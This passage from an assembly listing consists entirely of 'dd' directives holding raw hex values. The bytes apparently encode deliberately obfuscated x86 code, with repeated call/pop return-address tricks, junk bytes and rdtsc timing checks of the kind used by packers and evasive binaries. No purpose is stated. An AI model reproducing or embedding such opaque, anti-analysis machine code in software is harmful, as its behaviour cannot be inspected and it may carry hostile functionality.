3FFFFFFh, 4E0DA5BDh, 1E18306h dd 29840Fh, 820F0000h, 5, 37EB6BBh, 0FFA5837Ch, 0FEFFFFFFh dd 9589D88Bh, 44004E49h, 5032BB66h, 2605BD8Bh, 0E9064Eh dd 8D000000h, 528C77B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0F4F519Eh, 8CCF3A85h dd 0D98B6671h, 6AFEB70Fh, 4890F00h, 52000000h, 0FF5B6160h dd 4E1A5995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0D14FD334h, 4DE6C418h, 0BF0F8036h dd 100DB9D9h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0AC0C66C3h, 32D0A030h, 8BBB66FFh dd 0FCE1836Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 76C35040h, 0FC73E780h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0D3C35747h, 976D0DB6h, 0B8F4466Fh dd 0 dd 28A0Fh, 60B70000h, 0BAh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 16800FECh dd 0E9000000h, 11h, 0BC174B70h, 90F1CB8Bh, 0C0087352h dd 6E37A974h, 0C233ADCDh, 0D003E8D1h, 7504E983h, 57006AF4h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0AA404076h, 8166C2A1h, 294B05E3h, 4E30BD95h, 0FFB70F06h dd 880Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0A618536Eh, 662A8C72h, 0BB666955h dd 958B2054h, 64E2B05h, 0B5D9D8Bh, 8D8B064Eh, 64E2B65h dd 0F1BD2B50h, 5F064E03h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 81665818h, 6AF753DFh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0C0E7C353h dd 9D01A65Dh, 64E03E1h, 0DF816652h, 835B403Bh, 4E30FDBDh dd 840F0006h, 47h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0A5C35141h, 16D7DFC1h, 0B87Fh, 0DE8B0000h dd 108D8DFCh, 0E9064E4Eh, 0Ch, 72424B9Dh, 0A99ABA10h, 0CB986CEDh dd 9BBFE1FFh, 83472F1Bh, 4E065DBDh, 840F0006h, 441h, 7E8h dd 44E66D00h, 0B8F2256Ah, 12E95Fh, 6EB80000h, 7ABC5868h dd 7821A297h, 0D38CD15Bh, 963DB767h, 65DBD83h, 0F01064Eh dd 42B84h, 0BD83F800h, 64E065Dh, 0E7860F03h, 23000003h dd 4E0319BDh, 6A6006h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 7EE2A5C3h, 0D1B74434h, 6AD98C66h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 282DC356h, 1B2304B6h, 0DA9009F5h, 8E9h, 5C2DAB00h dd 0E7562602h, 4E180B1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0BBC35646h, 0AECAF2AFh, 89124141h, 4E25D585h dd 19D8B06h, 0A064E21h, 840FC9h, 9000001h, 4E1851BDh, 29858B06h dd 6A064E1Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 99B9C351h, 0A5DE2B64h, 661F3710h dd 8533DE8Bh, 64E288Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 3C35545h, 0BFBB6B48h, 0CDBD8B3Dh, 90064E0Eh dd 6A9050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 660787C3h, 47C1C381h, 68F8006Ah, 0D9ED7C78h dd 0FE8h, 25FC0000h, 0A9422094h, 0C7EAC9E5h, 0EEF5841h dd 8D0F57h, 5F000000h, 2404815Bh, 26318787h, 2D11B589h dd 95FF064Eh, 64E0BD9h, 9034BB56h, 295F3466h, 4E02459Dh dd 2F858906h, 6A0651B1h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 9BE4C353h, 8589FDCAh dd 64E08E5h, 1C6E9h, 15B50900h, 8B064E25h, 51B12785h, 0D9BD8906h dd 0C7064E0Ah, 1800h, 0AE800h, 2F620000h, 0DC20EE42h, 1CF71171h dd 0CE853h, 9F870000h, 8536F8A4h, 48FBEFABh, 5F5B5513h dd 2BB58B5Bh, 890651B1h, 4E06ED8Dh, 0D858B06h, 6A064E30h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 772C351h, 0A0FDA4C2h, 0B3600689h, 858B61C3h dd 64E1B29h, 320C1EBBh, 446896Bh, 29C88B60h, 4E1F01B5h dd 0F966106h, 0A8Bh, 4840F00h, 66000000h, 504921BBh, 0AE3CB4BFh dd 6A9648h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 82C3BBC3h, 3ACF5821h, 0DE941h, 29DC0000h dd 131B317Eh, 3D71501Eh, 0FF85FC60h, 51B127B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 8769DFF3h, 252DBD8Bh, 0D768064Eh, 81599BB5h, 0B6282434h dd 0F98B5984h, 0B12F858Dh, 6A0651h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0F60F0C3h dd 5061D6BFh, 0BE8h, 0F7C48700h, 0F2CD53D9h, 0D0ADED90h dd 11E95250h, 64000000h, 0B9962B5Ch, 0BE4C9FDFh, 39203155h dd 2E337FC0h, 0DFBF310Fh, 5A018C33h, 4895F58h, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 769D6859h, 50FE88F8h, 28C0F11h, 0B7000000h, 0D995FF8Dh dd 6A064E0Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 2907C352h, 0D1BB45A7h, 6156B555h dd 65D85C7h, 3064Eh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0B7341FC3h, 196BF660h dd 6DC78160h, 61745CA2h, 0B12FBD83h, 0F000651h, 4D84h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 0A0217ABEh, 0C840AEDBh, 40E9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0DF8B6657h, 2935BD8Bh, 3050064Eh, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 89DF81A3h dd 0F7C3B33h, 0D89h, 8E900h, 3F2B0000h, 0DF3CEC9Fh, 11E99E38h dd 0B6000000h, 0C3831950h, 0F45A2F0Ah, 0B189C24Ah, 61F9D97Dh dd 65DBD83h, 0F03064Eh, 4BC85h, 8386B700h, 51B12FBDh, 840F0006h dd 4ADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0BBC35141h, 0C8927E18h, 10E9h, 1E2A7400h, 45137829h dd 0B540719Dh, 0F6F9B438h, 6E8C2h, 503D0000h, 0F621B806h dd 9E9h, 28D6D000h, 347129B9h, 0FF5F0BF1h, 51B12FB5h, 0B5858906h dd 60064E05h, 58C88B50h, 61C18B66h, 37595FFh, 6A064Eh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 67CDE6C3h, 0FF9D701h, 0B87h, 6E900h, 0ABCA0000h, 4C05B85Ah dd 0B123B58Bh, 0BD8B0651h, 64E271Dh, 106C7h, 810F0001h dd 0Bh, 0C38B6660h, 2FFD8D89h, 9661064Eh, 46C490BBh, 860F5034h dd 5, 6E4D35BFh, 14E9962Ah, 0F2000000h, 4141AECAh, 0E0FF212h dd 0B8F71D32h, 668513B8h, 0FC0CFBEh, 68Eh, 0C19D8B00h dd 0FF064E15h, 51B12FB5h, 21958906h, 0FF064E1Bh, 4E290195h dd 1800F06h, 0F9000000h, 0B123B58Bh, 6A0651h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 1BE089C3h dd 8972A7D0h, 4E21CD9Dh, 35858B06h, 6A064E0Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 819CC353h, 0BA2AB4F7h, 0C486895Eh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0DE33C350h, 770B773Dh, 958BFA99h, 64E2B05h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E9C35141h, 0DA8B6655h dd 6A04C283h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 711AC356h, 6481A047h, 0DA8B7FD3h dd 6A205089h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 31C8C355h, 4E169D9Dh, 0DE906h dd 888C0000h, 0C8C283E2h, 0A1769463h, 8D538FD6h, 51C53D85h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 50EBE16Ah, 53937064h, 90CB81EFh, 0F6ADAFEh dd 68Bh, 499D0B00h, 89064E2Fh, 0B886h, 6A8BB700h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 8D67F9F7h, 2DF781C5h, 0FF5000CAh, 51B12FB5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 7D26FB7Dh, 3EDB50E8h, 800Fh, 95FF0000h, 64E1A05h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0B3C35343h, 8BBC2B92h dd 8B6650F9h, 243489F8h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0DCC35242h, 358FE8A2h, 9F02D71Bh, 2FB5FF49h dd 6A0651B1h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 47D0C351h, 5F305159h, 68BC86BEh dd 5A195FFh, 6A064Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 4D2BC9C3h, 8C478D29h, 0BD83A669h dd 64E1509h, 32840F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 2D4AC352h dd 96FBB70Fh, 0B69ABB66h, 747ABF50h, 89961095h, 4E2B09BDh dd 2FB5FF06h, 6A0651B1h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0FFFDC353h, 4E25D995h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0FEFBF5Dh, 0BD0B8525h, 64E1051h, 2C2DB501h dd 0BD29064Eh, 64E0415h, 0B12FB5FFh, 6A0651h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 510289C3h dd 0D95FFCBh, 80064E25h, 0BD835ACBh, 64E1531h, 53840F02h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 75C3C350h, 802D0E50h, 858B57EBh dd 64E2925h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 4DC35343h, 0F76C3237h, 0C611h, 260D8D89h, 85C7064Eh dd 64E121Dh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0E7C35646h dd 0F9417674h, 4254A8B9h, 0F2CCE955h, 5E9FFFFh, 13000000h dd 4353EEDh, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 2CBB5FC3h, 8D5559FCh, 4E106185h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 2EBF1617h, 95092BEDh, 64E0C01h, 0C850F90h dd 60000000h, 8259B966h, 840Fh, 50610000h, 12E85250h, 2000000h dd 69BD7EFDh, 605027B5h, 27E5A789h, 489E9DC0h, 310F5FBCh dd 6A90585Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0DB36C352h, 8B804E94h, 4E2B41BDh dd 0EE906h, 0B32F0000h, 0E1663E2Ch, 8176B48Fh, 67EEF362h dd 6AF8006Ah, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0FB749A87h, 0F50935Fh, 0C84h, 68F0F00h dd 33000000h, 4E07999Dh, 0C0858D06h, 0F065321h, 686h, 459D0100h dd 83064E0Eh, 0FA8B05C0h, 11E9h, 26FA9C00h, 3F5E839Eh dd 0E9A13368h, 8AB8C973h, 505050C5h, 0C660BF52h, 310F0C87h dd 5A5BB66h, 489585Ah, 68E0F24h, 9000000h, 4E25098Dh, 0E9006A06h dd 8, 0C808EBF9h, 0BEF60D09h, 8960006Ah, 4E11E185h, 99B58906h dd 61064E26h, 88595FFh, 0E852064Eh, 6, 93CF64Bh, 0BF0F6129h dd 8D5F5BDAh, 51AF498Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 13E9E5C4h, 23000000h dd 0CA9F6D45h, 85BABDA9h, 0B61F2027h, 9AC295F1h, 0D1FFFBE1h dd 8E9h, 4C4EA800h, 0C1D1B63Fh, 49BD8353h, 1064E26h, 0D0850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0F084EBC3h, 21BD89A5h, 0BB064E0Fh, 4D6FA826h dd 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 8EAA77C3h, 0B1EFC155h, 0CE890h, 50A90000h dd 96133352h, 0CF841891h, 5E921B6h, 40000000h, 0C2642ABAh dd 830F505Bh, 0Eh, 0F525060h, 50585A31h, 5A310F52h, 6A906158h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 6C9CC350h, 0FF7DB3B9h, 4E1A0595h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0B957863Bh, 2820Fh, 0DF8B0000h, 0BBE9FC8Ah, 0E800000Dh dd 0 dd 0CAED815Dh, 8B065321h, 4E24B19Dh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 8CC8157Eh dd 92A9858Dh, 0B5010651h, 64E0AA1h, 17BD9D8Bh, 8950064Eh dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 64F85AC3h, 35FFh, 0F3810000h, 2860A18h, 258964h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 3877C357h, 6E797F46h, 0D88B661Fh dd 4459D89h, 85FF064Eh, 64E08D5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 69C35747h, 0D026640Eh, 6E7A7D18h dd 12860Fh, 840F0000h, 0Ch, 7E9h, 63952800h, 34373F53h dd 8A0FFF6Ah, 6, 27359D09h, 9529064Eh, 64E3085h, 595B5FFh dd 6A064Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0B0D04EC3h, 0EC6B3BF6h, 0BD035668h, 64E148Dh dd 1B0D95FFh, 0F2E9064Eh, 57000000h, 8900B05Bh, 4E1785B5h dd 4D9D8B06h, 0E6064E26h, 24C78170h, 0E40390CAh, 810F71h dd 0BF000000h, 224298E2h, 830F613Ch, 0C5h, 2511BD8Bh, 0B60F064Eh dd 758589C8h, 0BA064E30h, 6, 1678D781h, 0C18B579Eh, 385BD8Bh dd 0E8C1064Eh, 0E2F76604h, 60C82BF9h, 2FAD8D89h, 8B66064Eh dd 0D18B61D7h, 1F21BD8Bh, 82E9064Eh, 8B000000h, 5F4C4C85h dd 83F88A50h, 0FF507C0h, 384h, 0FFBF0F00h, 2900C083h, 4E169D9Dh dd 0FD03B06h, 1083h, 0F89ABB00h, 52E906C3h, 89000000h dd 4E18D98Dh, 0FF8D8B06h, 0E9FFFFFFh, 0Fh, 0E989AA78h dd 89F373ABh, 0BF265D40h, 8346973Eh, 840F01E1h, 29h, 58C0Fh dd 6CBF0000h, 8313B77Ch, 0FFFFFFA5h, 0F52FEFFh, 895BF9BFh dd 5F4C4C95h, 3BA6050h, 61732D39h, 0E9h, 84B58D00h, 6606529Ch dd 6AD731BBh, 0FBBF0F00h, 1A5995FFh, 11E9064Eh, 4F000000h dd 0E698A1E0h, 67661CD9h, 0D6868890h, 96FFE6D6h, 0E00B9h dd 0FE800h, 71C70000h, 3634406Ah, 0F07919h, 0A8DBAA92h dd 1D9D2316h, 5F064E20h, 6AFCE183h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 66B7C350h dd 84FCCB81h, 0C78166FCh, 0C02B7D47h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 1FC35040h, 0F8B1CAF7h, 0E8E433BDh dd 14h, 0B1BF1F1Fh, 0C4B7F85Bh, 40BA36A7h, 65D6064h, 13EBBA63h dd 6830Fh, 85890000h, 64E2521h, 2D85895Bh, 0BA064E29h dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0FDC35343h dd 0F392CB96h, 33ADB01Eh, 3E8D1C2h, 4E983D0h, 6AF475h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 10E961C3h, 0 dd 0F64651D7h, 3C150AC1h, 70992D56h, 60C611BEh, 0BE960h dd 0E3310000h, 40E9BCBDh, 0FAD6127Dh, 0B58589F8h, 61064E12h dd 2AF5858Bh, 8B61064Eh, 4E0BD59Dh, 880D06h, 0BF660000h dd 958BB723h, 64E2B05h, 0DE8h, 9153BD00h, 8327EEB3h, 8CDB4E71h dd 11E9EBDDh, 1A000000h, 759E000Ch, 390474CDh, 0AE246E5Ch dd 72BC90BBh, 658D8B5Bh, 0E9064E2Bh, 0Dh, 0D29C04E9h, 0A68EBD55h dd 0AAF08318h, 0CE9B1h, 34AE0000h, 587185B4h, 0ECF368FFh dd 8B506030h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0DAC35646h dd 9B4813CDh, 0BB69D12Eh, 57BB43CFh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 50C35343h, 8B667897h, 199D8BF9h dd 83064E1Ah, 4E30FDBDh, 840F0006h, 6Ch, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 16h, 89C35747h, 0B8A9EFh dd 0E9000000h, 10h, 5B981C6Bh, 6213BFB1h, 1EB9A71Dh, 4A02587Eh dd 4E108D8Dh, 6A064Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 9C4AD6C3h, 9D8B0C78h, 64E1591h dd 9D8BE1FFh, 64E0E1Dh, 65DBD83h, 0F00064Eh, 4BB84h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0AC557BC0h, 1D8F40CBh, 50569172h, 56ECBF66h, 0BD835B5Fh dd 64E065Dh, 9C840F01h, 6A000004h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 1874C350h dd 0F3CED811h, 4C66F3FAh, 65DBD83h, 0F03064Eh, 43486h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 5E189BE2h, 8113E8A6h, 5DED9EE7h, 6A607Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 6BF421C3h, 6880Fh, 0BD890000h, 64E2D81h, 8BD98C66h dd 4E00099Dh, 4E18006h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 1EC35242h, 7F678B18h, 75043090h, 0FC90A6Bh dd 19284h, 0F5BD8B00h, 8B064E19h, 4E1B2985h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0C9DB116Dh, 0B3CA29B0h, 288D8533h, 6A064Eh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0FAD8ADC3h, 66D21B6Ah, 812F91BFh, 881AEEDBh, 0BF669060h dd 0E85039D1h, 13h, 5CC4A26h, 8B04DE28h, 0B55C8E13h, 3919763Ch dd 6680415Fh, 905FDA8Bh, 66006AFCh, 4E8FE8Bh, 0FF000000h dd 0E8001F03h, 0Eh, 0E595922Dh, 0A4F262Dh, 7B884B33h, 10E83F5Dh dd 0D0000000h, 3ACEE1D7h, 0FAB657Ah, 1F436DA1h, 0FBFA773h dd 8Ah, 505B5B00h, 2830F60h, 50000000h, 61F4B65Fh, 424448Bh dd 0EAD856BFh, 51008B03h, 8B665250h, 60310FFBh, 5B585A61h dd 4244489h, 0F525050h, 5ADF8B31h, 6A585F58h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0C8E8C353h, 0BD995FFh, 10E9064Eh, 7B000000h, 0C0CD8996h dd 0B28E71C3h, 9E2E9ECBh, 892AE61Bh, 51B12F85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 4B3C98E7h, 67209FE3h, 6A58589h, 0CDE9064Eh, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0D6A3C356h, 7AF03309h, 0AE9h, 0C46CB900h dd 0E737E83Ah, 8B4B3C98h, 51B12785h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 9F27EAA9h dd 0D2FEFA04h, 66D8B70Fh, 0C7FA3CBFh, 1800h, 0FE800h, 415C0000h dd 75028567h, 5D98BE19h, 11F0D00Eh, 7ABF6660h, 0B58B5F14h dd 651B12Bh, 31DE8B66h, 4E0CD985h, 0D858B06h, 0E9064E30h dd 9, 0BE011C82h, 0DF994230h, 6A0689BFh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 8FF3C357h dd 86557596h, 8D898259h, 64E1891h, 1B29858Bh, 6A064Eh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 53CEF8C3h, 21F3BB66h, 89044689h, 4E0D098Dh, 0EE99606h dd 0B4000000h, 0C64621E8h, 0A18F149Ch, 0C4D34EDh, 52B7505Dh dd 0B5095196h, 64E0F0Dh, 27B5FF5Fh, 0E80651B1h, 14h, 32C99D8Dh dd 0DAB2779Eh, 8E3B6BC8h, 942D3394h, 0C8D201E8h, 41D38166h dd 4A685B46h, 813A0509h, 0AB52434h, 0DE93A1Ah, 0BE000000h dd 68354A59h, 0B6CCED09h, 9EC76190h, 0B12F858Dh, 840F0651h dd 2, 0B589D88Bh, 64E0569h, 870F5790h, 17h, 12E9h, 9A8DFA00h dd 0B76D2DE2h, 679452A3h, 742DEBEh, 5B167792h, 90F98B50h dd 2A55BD8Bh, 0F98B064Eh, 0BD995FFh, 6A064Eh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0EABB98C3h dd 54606541h, 0F98B2B5Ah, 0CE961h, 0A9E00000h, 6768B3ABh dd 6A53C32h, 85C711FBh, 64E065Dh, 3, 3840Fh, 0BF0F0000h dd 2FBD83DFh, 651B1h, 47840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B16FB8C3h dd 0F99F726Bh, 0BD8B727Fh, 64E169Dh, 33E9h, 13E900h, 1A3A0000h dd 609E457Ah, 0E227B17h, 0EBE4376Fh, 1ADC3315h, 0C30508Ch dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 5DC35646h, 9605B39h dd 4E0591BDh, 5DBD8306h, 3064E06h, 3C3850Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 502B96C3h, 83A11824h, 51B12FBDh, 840F0006h, 395h, 0BE9h dd 4F0FB900h, 3627AB5Dh, 0E89D123Ah, 0B12FB5FFh, 0BF660651h dd 95FF2C6Eh, 64E0375h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 47C35040h, 0CE9AB49h, 0BE000000h, 212EAB9Eh dd 6417038Ch, 8920AF19h, 4E30BD95h, 8BEBB706h, 51B123B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0FCAE5FA0h, 8E9h, 3758C00h, 0B90E24CEh dd 106C727h, 6A000100h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 60ACC353h, 6634C355h dd 969DDDBBh, 14E8h, 8506D700h, 0BB096EFBh, 0FF4FC1B5h dd 0D984F299h, 0E723F0D2h, 66505FB4h, 96288CBFh, 19AD9D8Bh dd 0B5FF064Eh, 651B12Fh, 0E468BF66h, 290195FFh, 6A064Eh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 336026C3h, 4E0FED9Dh, 22F18006h, 23B58B61h, 0F0651B1h dd 68Dh, 0CD9D8B00h, 89064E19h, 4E17418Dh, 35858B06h, 6A064E0Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 7FCBC357h, 128DBD89h, 8689064Eh, 0C4h, 6ADBD8Bh dd 958B064Eh, 64E2B05h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0F5C35545h, 58967836h, 31D78166h, 4C28395h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 81C35040h dd 89C0F19Bh, 6A2050h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 26A47DC3h, 858D3190h, 651C53Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 53C35545h dd 6E98B92h, 8A000000h, 0A1530D14h, 0B8868909h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0D257C356h, 9589B64Eh, 64E0E6Dh, 6A006Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 95896BC3h, 64E030Dh, 0B12FB5FFh, 95FF0651h, 64E1A05h dd 11E9h, 62DC1B00h, 0AEBA7C40h, 0E0997DF1h, 0F59ABE0Bh dd 66963972h, 6650F98Bh, 8096FA8Bh, 0B5FF88D7h, 651B12Fh dd 50EF21BFh, 0A195FF7Bh, 0E9064E05h, 0Ch, 8F4A7B3Fh, 93CF8787h dd 5AC06E80h, 1509BD83h, 0F00064Eh, 1684h, 9D316000h, 64E2C71h dd 0BB665061h, 3489B816h, 899D8B24h, 0FF064E08h, 51B12FB5h dd 0D995FF06h, 0F064E25h, 38Bh, 0DF8B6600h, 0B12FB5FFh dd 0CE90651h, 73000000h, 2D06AFCFh, 0DF13CA89h, 0F9A9349h dd 689h, 81950100h, 0FF064E19h, 4E250D95h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 86CADAh, 0F9BD8B48h, 83064E02h, 4E1531BDh, 840F0206h dd 52h, 18BDB589h, 858B064Eh, 64E2925h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 17h, 0E3C35141h, 0C6162391h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0D3CFC7C3h, 0FDABF0Fh, 85C7FEBFh, 64E121Dh dd 0 dd 3840Fh, 0BF0F0000h, 0F33AE9F8h, 8D0FFFFFh, 3, 8BFB8B66h dd 0F78166C1h, 858D657Ah, 64E1061h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0D4C35343h, 0C110FF90h, 0EC04399Ch dd 4EE38166h, 0FEB75016h, 53240489h, 0DE8h, 7EEF0800h dd 0A1BD06BFh, 0F552AAD3h, 85898DBAh, 64E0C95h, 6A5B5Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 1C35141h dd 8D89F06Ah, 64E0345h, 4953D381h, 6A066Dh, 24EF8166h dd 1A858DCFh, 89065331h, 4E0EA1BDh, 5C08306h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 21C35545h, 860FA23Ch dd 2, 0BB90D88Bh, 3E54463Ch, 894DBF50h, 6A902118h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 5D54C351h, 267D8589h, 6A064Eh, 4CB0F860h, 6A006A61h dd 3E85700h, 